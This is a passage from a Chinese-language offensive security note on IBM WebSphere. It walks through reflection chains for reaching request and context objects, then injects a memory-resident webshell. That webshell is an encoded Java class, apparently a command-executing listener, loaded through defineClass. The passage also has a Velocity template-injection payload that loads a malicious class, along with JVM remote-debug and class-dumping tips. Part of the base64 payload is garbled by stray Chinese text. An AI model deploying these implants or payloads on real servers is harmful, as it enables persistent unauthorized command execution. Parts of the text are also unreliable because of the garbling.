argetObject = {com.ibm.ws.util.ThreadPool$Worker} ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} ---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} ---> value = {com.ibm.ws.util.objectpool.LocalThreadObjectPool} ---> free = {class [Ljava.lang.Object;} ---> [0] = {com.ibm.io.async.CompletedFutureWorkItem} ---> future = {com.ibm.io.async.AsyncFuture} ---> channel = {com.ibm.io.async.AsyncSocketChannel} ---> channelVCI = {com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl} ---> stateStore = {interface java.util.Map} ---> [WCChannelLink] = {com.ibm.ws.webcontainer.channel.WCChannelLink} ---> request = {com.ibm.ws.webcontainer.channel.WCCRequestImpl} idea_express: Object obj0 = TargetObject; // {java.lang.ThreadLocal$ThreadLocalMap} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr eadLocals"); // {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} Object obj2 = ((java.util.Map) obj1).get("table"); // {java.lang.ThreadLocal$ThreadLocalMap$Entry} Object obj3 = java.lang.reflect.Array.get(obj2, 11); // {com.ibm.ws.util.objectpool.LocalThreadObjectPool} Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val ue"); // {class [Ljava.lang.Object;} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre e"); // {com.ibm.io.async.CompletedFutureWorkItem} Object obj6 = java.lang.reflect.Array.get(obj5, 0); // {com.ibm.io.async.AsyncFuture} Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut ure"); // {com.ibm.io.async.AsyncSocketChannel} Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"cha nnel"); // {com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl} Object obj9 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"cha nnelVCI"); // {interface java.util.Map} Object obj10 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj9,"sta teStore"); // {com.ibm.ws.webcontainer.channel.WCChannelLink} Object obj11 = ((java.util.Map) obj10).get("WCChannelLink"); // {com.ibm.ws.webcontainer.channel.WCCRequestImpl} Object obj12 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj11,"re quest");
这个是当前的
TargetObject = {com.ibm.ws.util.ThreadPool$Worker} ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} ---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} ---> value = {com.ibm.ws.util.objectpool.LocalThreadObjectPool} ---> free = {class [Ljava.lang.Object;} ---> [0] = {com.ibm.io.async.CompletedFutureWorkItem} ---> future = {com.ibm.io.async.AsyncFuture} ---> firstListenerState = {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl} idea_express: Object obj0 = TargetObject; // {java.lang.ThreadLocal$ThreadLocalMap} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr eadLocals"); // {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} Object obj2 = ((java.util.Map) obj1).get("table"); // {java.lang.ThreadLocal$ThreadLocalMap$Entry} Object obj3 = java.lang.reflect.Array.get(obj2, 11); // {com.ibm.ws.util.objectpool.LocalThreadObjectPool} Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val ue"); // {class [Ljava.lang.Object;} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre e"); // {com.ibm.io.async.CompletedFutureWorkItem} Object obj6 = java.lang.reflect.Array.get(obj5, 0); // {com.ibm.io.async.AsyncFuture} Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut ure"); // {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl} Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir stListenerState");
Object obj0 = Thread.currentThread(); // {java.lang.ThreadLocal$ThreadLocalMap} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr eadLocals"); // {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} Object obj2 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"tab le"); int count = java.lang.reflect.Array.getLength(obj2); for (int i = 0; i < count; i++) { // {java.lang.ThreadLocal$ThreadLocalMap$Entry} Object obj3 = java.lang.reflect.Array.get(obj2, i); if (obj3==null || !obj3.getClass().getName().contains("ThreadLocalMap$Entry") ) { continue; } // {com.ibm.ws.util.objectpool.LocalThreadObjectPool} Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val ue"); if (obj4 == null || !obj4.getClass().getName().contains("LocalThreadObjectPool")) { continue; } // {class [Ljava.lang.Object;} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre e"); Object[] free = (Object[]) obj5; for (int j = 0; j < free.length; j++) { // {com.ibm.io.async.CompletedFutureWorkItem} Object obj6 = free[j]; if (obj6==null || !obj6.getClass().getName().contains("CompletedFutureWorkItem") ) { continue; } // {com.ibm.io.async.AsyncFuture} Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut ure"); // {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl} Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir stListenerState"); return obj8; } }
3.7.5. 基于Thread.currentThread()定位context
TargetObject = {com.ibm.ws.util.ThreadPool$Worker} ---> wsThreadLocals = {class [Ljava.lang.Object;} ---> [16] = {com.ibm.ejs.util.FastStack} ---> stack = {class [Ljava.lang.Object;} ---> [1] = {com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl} ---> config = {com.ibm.ws.webcontainer.servlet.ServletConfigImpl} ---> context = {com.ibm.wsspi.webcontainer.facade.ServletContextFacade} ---> context = {com.ibm.ws.webcontainer.webapp.WebAppImpl} idea_express: Object obj0 = TargetObject; // {class [Ljava.lang.Object;} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT hreadLocals"); // {com.ibm.ejs.util.FastStack} Object obj2 = java.lang.reflect.Array.get(obj1, 16); // {class [Ljava.lang.Object;} Object obj3 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta ck"); // {com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl} Object obj4 = java.lang.reflect.Array.get(obj3, 1); // {com.ibm.ws.webcontainer.servlet.ServletConfigImpl} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con fig"); // {com.ibm.wsspi.webcontainer.facade.ServletContextFacade} Object obj6 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con text"); // {com.ibm.ws.webcontainer.webapp.WebAppImpl} Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con text");
Object obj0 = Thread.currentThread(); // {class [Ljava.lang.Object;} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT hreadLocals"); Object[] wsThreadLocals = (Object[]) obj1; Object a; for (int i = 0; i < wsThreadLocals.length; i++) { // {com.ibm.ejs.util.FastStack} Object obj2 = wsThreadLocals[i]; if (obj2 == null || !obj2.getClass().getName().contains("FastStack")) { continue; } try { // {class [Ljava.lang.Object;} Object obj3 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta ck"); Object[] stack = (Object[])obj3; for (int j = 0; j < stack.length; j ++) { // {com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl} Object obj4 = stack[j]; if (obj4 == null || !obj4.getClass().getName().contains("WebComponentMetaDataImpl")) { continue; } // {com.ibm.ws.webcontainer.servlet.ServletConfigImpl} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con fig"); // {com.ibm.wsspi.webcontainer.facade.ServletContextFacade} Object obj6 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con text"); // {com.ibm.ws.webcontainer.webapp.WebAppImpl} Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con text"); a = obj6; } }catch (Exception ignored) { }
}
3.7.6. 定位context的全局方法
Object webContainer = getMethodByClass(Class.forName("com.ibm.ws.webcontainer.WebCont ainer", true, classloader), "getWebContainer", new Class[0]).invoke(null, new Object[0]); Object requestMapper = getFieldValue(webContainer,"requestMapper"); Object webGroup = invoke(requestMapper,"map", new Object[] {":9080/visor_externo/*"}); Object webapp = getFieldValue(webGroup,"webApp");
3.7.7. 方案
通过 Thread.currentThread() 定位 context ,然后通过 context 获取
request,从而实现回显
根据堆栈分析,总结一下request以及response对象的生成,在7中,每个
SRTServletRequest都是基于WCCRequestImpl新建的,就会导致无法拿到一模一样的
SRTServletRequest,虽然有个缓存队列,但每次请求都会取出来,无法获取到。
AioTCPReadRequestContextImpl->(WCCRequestImpl,WCCResponseImpl)-
>getConnectionContext新建上下文,并传入之前两个变量->
(SRTServletRequest,SRTServletResponse)
3.7.8. 内存马注入
byte[] classBytes = new BASE64Decoder().decodeBuffer("yv66vgAAADIBKwoAEACkCQBMAKUIAKYJAE wApwgAqAgAqQoAqgCrCgAZAKwIAK0KABkArggAaQoATACvCABqBwCwCABiBwCxCg BMALIKALMAtAcAtQsAEwC2CgBMALcHALgIAHMKAEwAuQcAuggAuwgAvAgAvQgAvg oAvwDACgC/AMEKAMIAwwcAxAoAIQDFCADGCgAhAMcKACEAyAoAIQDJCADKCADLCA DMCgAZAM0IAM4IAM8KABkA0AoAGQDRCADSCwAWANMLABYA1AoA1QDWCgDVANcKAN UA2AoADgDZCADaCwATANsIANwKABkA3QgA3ggA3wcA4AoAEADhCgBFAOIKAEUA4w oAPADkCgA8AOUHAOYKAEIApAoAQgDnBwDoCgBCAOkHAKEKAEwA6goA6wDsCgBFAO 0KAOsA5AcA7gcA7wEACXJlc3BvbnNlMQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSH R0cFNlcnZsZXRSZXNwb25zZTsBAANwd2QBABJMamF2YS9sYW5nL1N0cmluZzsBAB ByZXF1ZXN0RGVzdHJveWVkAQAmKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZX N0RXZlbnQ7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYW JsZVRhYmxlAQAEdGhpcwEAK0x0b29scy9tZW0vc2hlbGxzL2xpc3RlbmVyL3Rlc3 RDbWRMaXN0ZW5lcjsBABNzZXJ2bGV0UmVxdWVzdEV2ZW50AQAjTGphdmF4L3Nlcn ZsZXQvU2VydmxldFJlcXVlc3RFdmVudDsBAAY8aW5pdD4BAAMoKVYBAAVpc1dpbg EAAygpWgEABm9zbmFtZQEADVN0YWNrTWFwVGFibGUHALoBAAtnZXRSZXNwb25zZQ EAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIcmVxdW VzdDIBABJMamF2YS9sYW5nL09iamVjdDsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy 9FeGNlcHRpb247AQABZQEAB3JlcXVlc3QBAAhyZXNwb25zZQcAsQcAsAcAsAEAEn JlcXVlc3RJbml0aWFsaXplZAEAAWMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW 4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANjbWQBAAFzAQATTGphdmEvdXRpbC 9TY2FubmVyOwEAA291dAEACWhlYWRlck91dAEAJ0xqYXZheC9zZXJ2bGV0L2h0dH AvSHR0cFNlcnZsZXRSZXF1ZXN0OwcA7gcA8AcAtQcAuAcA8QcAcAcAxAEABWNoZW NrAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYX ZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspWgEABWZsYWdzAQ ANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1 N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAEdmFyNgEABm1ldGhvZAEAGkxqYX ZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQACY3MBABFMamF2YS9sYW5nL0NsYXNzOw EAA29iagEACWZpZWxkTmFtZQEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbG Q7BwDgBwDyBwDoAQAKRXhjZXB0aW9ucwEABmludm9rZQEASyhMamF2YS9sYW5nL0 9iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYX ZhL2xhbmcvT2JqZWN0OwEAAm8xAQABaQEAAUkBAAdjbGFzc2VzAQAVTGphdmEvdX RpbC9BcnJheUxpc3Q7AQAEdmFyNwEACm1ldGhvZE5hbWUBAApwYXJhbWV0ZXJzAQ ATW0xqYXZhL2xhbmcvT2JqZWN0OwcA5gcAnAEAEGdldE1ldGhvZEJ5Q2xhc3MBAF EoTGphdmEvbGFuZy9DbGFzcztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy 9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABJbTGphdmEvbGFuZy 9DbGFzczsBAApTb3VyY2VGaWxlAQApdGVzdENtZExpc3RlbmVyLmphdmEgZnJvbS BJbnB1dEZpbGVPYmplY3QMAFsAXAwATgBPAQAQcGFzc3dvcmRwYXNzd29yZAwAUA BRAQADMTExAQAHb3MubmFtZQcA8wwA9AD1DAD2APcBAAN3aW4MAPgA+QwAgwCEAQ 1 ATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9PYmplY3QMAJIAkwcA8A wA+gD7AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA/A D1DABiAGMBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQ wAXQBeAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwEACS9iaW4vYm FzaAEAAi1jBwD9DAD+AP8MAQABAQcBAgwBAwEEAQARamF2YS91dGlsL1NjYW5uZX IMAFsBBQEAAlxBDAEGAQcMAQgAXgwBCQD3AQAAAQABDQEAAlxyDAEKAQsBAAEKAQ ACXG4MAQwBDQwBDgEPAQAEdGVzdAwBEAERDAESARMHARQMARUBFgwBFwBcDAEYAF wMARkAXAEADkFjY2VwdC1FbmNvZGVkDAEaAPUBABNnemlwLCBkZWZsYXRlLCB0ZX N0DAEbARwBABBUcmFuc2Zlci1lbmNvZGVkAQAHY2h1bmtlZAEAF2phdmEvbGFuZy 9yZWZsZWN0L0ZpZWxkDAEdAR4MAR8BIAwBIQEeDAEiASMMASQAYwEAE2phdmEvdX RpbC9BcnJheUxpc3QMASUBHAEAD2phdmEvbGFuZy9DbGFzcwwBJgEnDACfAKAHAP IMAJIBKAwBKQEqAQApdG9vbHMvbWVtL3NoZWxscy9saXN0ZW5lci90ZXN0Q21kTG lzdGVuZXIBACRqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBAC FqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQBABNqYXZhL2lvL0lucH V0U3RyZWFtAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1 N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS 9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbm c7AQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAEWdldFNlcn ZsZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA xnZXRQYXJhbWV0ZXIBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBAB UoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cm luZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2 V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS 9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1 N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAARuZXh0AQAHcm VwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYX JTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAGbGVuZ3RoAQADKClJAQAJc3 Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAJc2V0SGVhZGVyAQAnKE xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdG VyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdG VyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEABWNsb3 NlAQAPcHJpbnRTdGFja1RyYWNlAQAJZ2V0SGVhZGVyAQAGZXF1YWxzAQAVKExqYX ZhL2xhbmcvT2JqZWN0OylaAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3 M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdm EvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADWdldFN1cGVyY2xhc3MBAA1zZXRBY2Nlc3 NpYmxlAQAEKFopVgEAA2dldAEAA2FkZAEAB3RvQXJyYXkBACgoW0xqYXZhL2xhbm cvT2JqZWN0OylbTGphdmEvbGFuZy9PYmplY3Q7AQA5KExqYXZhL2xhbmcvT2JqZW N0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0RG VjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2 xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7ACEATAAQAAEATQACAAEATg BPAAAAAQBQAFEAAAAJAAEAUgBTAAEAVAAAADUAAAACAAAAAbEAAAACAFUAAAAGAA EAAAAVAFYAAAAWAAIAAAABAFcAWAAAAAAAAQBZAFoAAQABAFsAXAABAFQAAABQAA IAAQAAABYqtwABKgG1AAIqEgO1AAQqEgW1AASxAAAAAgBVAAAAFgAFAAAAFgAEAB AACQARAA8AFwAVABgAVgAAAAwAAQAAABYAVwBYAAAAAABdAF4AAQBUAAAAagACAA IAAAAYEga4AAdMK7YACEwrEgm2AAqZAAUErAOsAAAAAwBVAAAAFgAFAAAAGwAGAB wACwAdABQAHgAWACAAVgAAABYAAgAAABgAVwBYAAAABgASAF8AUQABAGAAAAAIAA H8ABYHAGEACgBiAGMAAQBUAAAA1QADAAQAAAAlAUwqEgu4AAxNLBINuAAMTKcAE0 0qEg8DvQAQuAARTKcABE4rsAACAAIAEAATAA4AFAAfACIADgADAFUAAAAmAAkAAA AkAAIAJgAJACcAEAAuABMAKAAUACoAHwAtACIAKwAjAC8AVgAAADQABQAJAAcAZA BlAAIAIwAAAGYAZwADABQADwBoAGcAAgAAACUAaQBlAAAAAgAjAGoAZQABAGAAAA AoAAP/ABMAAgcAawcAawABBwBs/wAOAAMHAGsHAGsHAG0AAQcAbPoAAAABAG4AUw ABAFQAAAJWAAQACgAAAOwrtgASwAATTSwqtAAEuQAUAgDGANksuAAVwAAWTgE6BC wSF7kAFAIAOgYZBscABLEqtgAYmQAbBr0AGVkDEhpTWQQSG1NZBRkGUzoFpwAYBr 0AGVkDEhxTWQQSHVNZBRkGUzoFuAAeGQW2AB+2ACA6BLsAIVkZBLcAIhIjtgAkOg cZB7YAJZkACxkHtgAmpwAFEic6CBkIEigSKbYAKhIrEiy2ACo6CRkItgAtEQfQpA ANGQgRB9C2AC46CC0SLxkJuQAwAwAtuQAxAQAZCLYAMi25ADEBALYAMy25ADEBAL YANKcACE4ttgA1sQACABUALwDmAA4AMADjAOYADgADAFUAAABiABgAAAAzAAgANQ AVADcAHQA/ACAAQQAqAEIALwBDADAARgA3AEcATwBJAGQASwBxAE0AgQBOAJUATw CnAFAAsgBRALwAUwDGAFQA0QBVANoAVgDjAFoA5gBYAOcAWQDrAF4AVgAAAHoADA BMAAMAbwBwAAUAHQDGAGoATwADACAAwwBxAHIABABkAH8AbwBwAAUAKgC5AHMAUQ AGAIEAYgB0AHUABwCVAE4AdgBRAAgApwA8AHcAUQAJAOcABABoAGcAAwAAAOwAVw BYAAAAAADsAFkAWgABAAgA5ABpAHgAAgBgAAAAYAAI/wAwAAcHAHkHAHoHAHsHAH wHAH0ABwBhAAAe/wAUAAcHAHkHAHoHAHsHAHwHAH0HAH4HAGEAAPwALAcAf0EHAG H9ACgHAGEHAGH/ACkAAwcAeQcAegcAewABBwBsBAAAAIAAgQABAFQAAACLAAMABA AAACQrEja5ADcCAE4txgAMLRI4tgA5mgAFA6wsEjoSO7kAMAMABKwAAAADAFUAAA AWAAUAAABhAAkAYgAWAGUAGABoACIAagBWAAAAKgAEAAAAJABXAFgAAAAAACQAaQ B4AAEAAAAkAGoATwACAAkAGwCCAFEAAwBgAAAACQAC/AAWBwBhAQAJAIMAhAACAF QAAAD4AAIABgAAAEIBTSrBADyZAAsqwAA8TacAKQFOKrYAPToEGQTGABwZBCu2AD 5NAToEp//xOgUZBLYAPzoEp//lLAS2AEAsKrYAQbAAAQAeACgAKwAOAAMAVQAAAD oADgAAAG8AAgBwAAkAcQARAHMAEwB0ABkAdgAeAHgAJQB5ACgAfAArAHoALQB7AD QAfAA3AIAAPACBAFYAAAA+AAYALQAHAIUAZwAFABMAJACGAIcAAwAZAB4AiACJAA QAAABCAIoAZQAAAAAAQgCLAFEAAQACAEAAjACNAAIAYAAAABgABPwAEQcAjv0ABw cAjwcAkFEHAGz5AAsAkQAAAAQAAQAOAIoAkgCTAAEAVAAAATIABAAGAAAAYLsAQl m3AENOLMYANAM2BBUELL6iACosFQQyOgUZBcYAEC0ZBbYAPbYARFenAAwtAcAAEL YARFeEBAGn/9UqtgA9Ky0DvQBFtgBGwABHwABHuABIOgQZBCostgBJsE4BsAABAA AAXABdAA4AAwBVAAAAMgAMAAAAhgAIAIcADACIABYAiQAcAIoAIQCLAC4AjQA3AI gAPQCSAFUAkwBdAJQAXgCVAFYAAABSAAgAHAAbAJQAZQAFAA8ALgCVAJYABAAIAF UAlwCYAAMAVQAIAIYAhwAEAF4AAgCZAGcAAwAAAGAAigBlAAAAAABgAJoAUQABAA 上下文是如下获取,可以看到webcontainer里包含了所有端口上跑的context,这样就 可以很轻松跨context进行操作了。 他是以ClauseNode为基础进行递归的,从而匹配到你要的node,获取最终的 context,每级node都有一个children存储下级的node,node存储在hashTable中 AAYACbAJwAAgBgAAAAKAAF/QAPBwCdAfwAHgcAa/oACPoABf8AHwADBwBrBwBhBw CeAAEHAGwAigCfAKAAAQBUAAAAtAADAAUAAAAjAU4qxgAeKisstgBKTgFLLQS2AE un/+46BCq2AD9Lp//kLbAAAQAGABQAFwAOAAMAVQAAACoACgAAAJsAAgCdAAYAnw ANAKAADwChABQApAAXAKIAGQCjAB4ApAAhAKcAVgAAADQABQAZAAUAhQBnAAQAAA AjAIgAiQAAAAAAIwCaAFEAAQAAACMAmwChAAIAAgAhAIYAhwADAGAAAAANAAP8AA IHAI9UBwBsCQABAKIAAAACAKM="); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] {byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); ; Class cc = (Class) defineClassMethod.invoke(new java.security.SecureClassLoader(Thread.currentThread().getClass( ).getClassLoader()), new Object[]{classBytes, new Integer(0), new Integer(classBytes.length)}); ((WebGroupImpl) WebContainer.getWebContainer().requestMapper.map(":9080/visor_ex terno/*")).webApp.addLifecycleListener(((EventListener)cc.newIns tance());
上下文是如下获取,可以看到webcontainer里包含了所有端口上跑的context,这样就
可以很轻松跨context进行操作了。
他是以ClauseNode为基础进行递归的,从而匹配到你要的node,获取最终的
context,每级node都有一个children存储下级的node,node存储在hashTable中
这里可以看到,端口的下一级就是匹配URI
URI匹配完,就到了最终的context
可以通过如下方式直接获取webgroup对象,而webapp里就存储着listener等属性,进
一步就可以注入内存马了
4. agent注入
5. 技巧
5.1. SSTI
#set($s=""); #set($evil="b64xxxxx"); #set($evilb=$s.getClass().forName("sun.misc.BASE64Decoder").newI nstance().decodeBuffer($evil)); #set($ReflectUtils=$s.getClass().forName("org.springframework.cg lib.core.ReflectUtils").getDeclaredConstructor()) #set($classLoader=$s.getClass().forName("java.lang.Thread").curr entThread().getContextClassLoader()); $ReflectUtils.setAccessible(true); #set($ReflectUtilsObject=$ReflectUtils.newInstance()); #set($_=$ReflectUtilsObject.defineClass("Payload286011263666700" , $evilb, $classLoader)); #set($shellServlet=$classLoader.loadClass("Payload28601126366670 0").newInstance());
5.2. 远程调试
JDK5-8
- agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
JDK9 or later
- agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
针对一些第三方二进制文件封装了JVM而无法通过如上跟参数开启debug的话,可通
过设置全局环境变量来实现,当然也适用于原生java.exe
set JAVA_TOOL_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
远程类加载后,可以在本地也放一个相同的类,这样就能实现同步调试
5.3. dumpclass
有时候需要dump运行时内存,有些class实在找不到jar包位置(可能是动态代理生成
的),或者内存马之类的。
找到一个现成的项目 https://github.com/hengyunabc/dumpclass ,而且支持多个
classloader场景。
如果直接java -jar调用,会因为调用的是jre,而jre没有sa-jdi.jar而报错,所以可以找
到java.exe的绝对路径,使用绝对路径,如下则可成功。
"C:\Java\jdk1.8.0_212\bin\java.exe" -jar dumpclass.jar -p 10820 com.seeyon.ctp.login.LoginHelper
6. 参考
https://blog.csdn.net/sinat_29846389/article/details/122513297
https://github.com/pen4uin/awesome-java-security/blob/main/middleware/resin/note/REA
DME.md
https://github.com/feihong-cs/memShell